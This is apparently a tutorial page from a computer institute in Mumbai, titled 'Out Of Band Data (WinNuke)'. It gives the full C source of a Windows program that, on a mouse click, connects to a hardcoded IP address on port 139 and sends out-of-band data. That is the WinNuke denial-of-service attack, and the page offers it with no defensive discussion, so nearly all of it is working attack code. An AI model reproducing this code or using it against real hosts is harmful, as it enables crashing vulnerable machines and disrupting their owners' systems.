Out Of Band Data
(WinNuke)


The files to be included in the project are

nuke.c

#include <windows.h>
#include <stdio.h>
void abc(char *p)
{
FILE *fp=fopen("z.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
WNDCLASS a;HWND bb;MSG c;char aa[200];SOCKET s;
WSADATA ws;DWORD e;
long _stdcall zzz (HWND,UINT,WPARAM,LPARAM);
int _stdcall WinMain(HINSTANCE i,HINSTANCE j,char *k,int l)
{
	a.lpszClassName="a1";
	a.hInstance=i;
	a.lpfnWndProc=zzz;
	a.hbrBackground=GetStockObject(WHITE_BRUSH);
	RegisterClass(&a);
        bb=CreateWindow("a1","aaa",WS_OVERLAPPEDWINDOW,1,1,10,20,0,0,i,0);
        ShowWindow(bb,3);
	while ( GetMessage(&c,0,0,0) )
		DispatchMessage(&c);
	return 1;
}
struct sockaddr_in b;char *str;
long _stdcall zzz (HWND w,UINT x,WPARAM y,LPARAM z)
{
	if ( x == WM_LBUTTONDOWN)
	{	
e=WSAStartup(0x0101,&ws);
sprintf(aa,"e=%ld",e);
abc(aa);
s=socket(PF_INET,SOCK_STREAM,0);
sprintf(aa,"s=%ld",s);
abc(aa);
b.sin_family=AF_INET;
b.sin_addr.s_addr=inet_addr("202.54.3.39");
b.sin_port=htons(139);
e=connect(s,(struct sockaddr *)&b,sizeof(b));
sprintf(aa,"e=%ld",e);
abc(aa);
str="hello";
send(s,str,strlen(str),MSG_OOB);
MessageBox(0,"end","end",0);
	}
	if ( x == WM_DESTROY)
		PostQuitMessage(0);
	return DefWindowProc(w,x,y,z);
}

Back to the main page


Vijay Mukhi's Computer Institute
VMCI, B-13, Everest Building, Tardeo, Mumbai 400 034, India
Tel : 91-22-496 4335 /6/7/8/9     Fax : 91-22-307 28 59
e-mail : vmukhi@giasbm01.vsnl.net.in
http://www.vijaymukhi.com